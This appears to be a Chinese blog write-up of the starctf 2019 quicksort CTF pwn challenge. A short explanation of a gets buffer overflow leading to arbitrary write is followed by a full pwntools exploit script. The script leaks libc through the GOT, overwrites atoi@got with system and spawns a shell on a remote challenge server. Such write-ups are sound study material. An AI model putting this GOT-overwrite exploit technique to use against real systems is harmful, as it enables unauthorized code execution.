Loading... 不知不觉就在factorio中颓了一天,`所以就做了这么一道不能算难的题目。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/300338513.png "></div> <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/01/1582729249.png "></div> 这里s可以把ptr溢出掉实现任意地址写。注意gets是读到`'\n'`为止的,`'\x00'`并不会使它停止读入。 巧合的是`gets@got`和`free@got`是相邻的,所以我们可以修改`free@got`的同时通过之后的printf leak出`gets`的地址。 ### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(log_level = "debug") #sh = process("./starctf_2019_quicksort") sh = remote("node3.buuoj.cn",27373) libc = ELF("./libcs/buu-32-libc.so") elf = ELF('./starctf_2019_quicksort') sh.sendlineafter("sort?\n",'2') payload = str(0x08048816) payload = payload.ljust(0x10,'\x00') + p32(1) + p32(1) + p32(0) + p32(elf.got["gets"]) sh.sendlineafter("number:",payload) sh.recvuntil("result:\n") gets_addr = int(sh.recvuntil(" \n",drop = True),base = 10) libc_base = gets_addr - libc.symbols["gets"] log.success("libc base:" + hex(libc_base)) system_addr = libc_base + libc.symbols["system"] log.success("system addr:" + hex(system_addr)) sh.sendlineafter("sort?\n",'2') payload = str(system_addr) payload = payload.ljust(0x10,'\x00') + p32(0) + p32(0) + p32(0) + p32(elf.got["atoi"]) sh.sendlineafter("number:",payload) sh.sendlineafter("sort?\n",'1') sh.sendlineafter("number:","/bin/sh\x00") sh.interactive() ``` 最后修改:2021 年 01 月 29 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧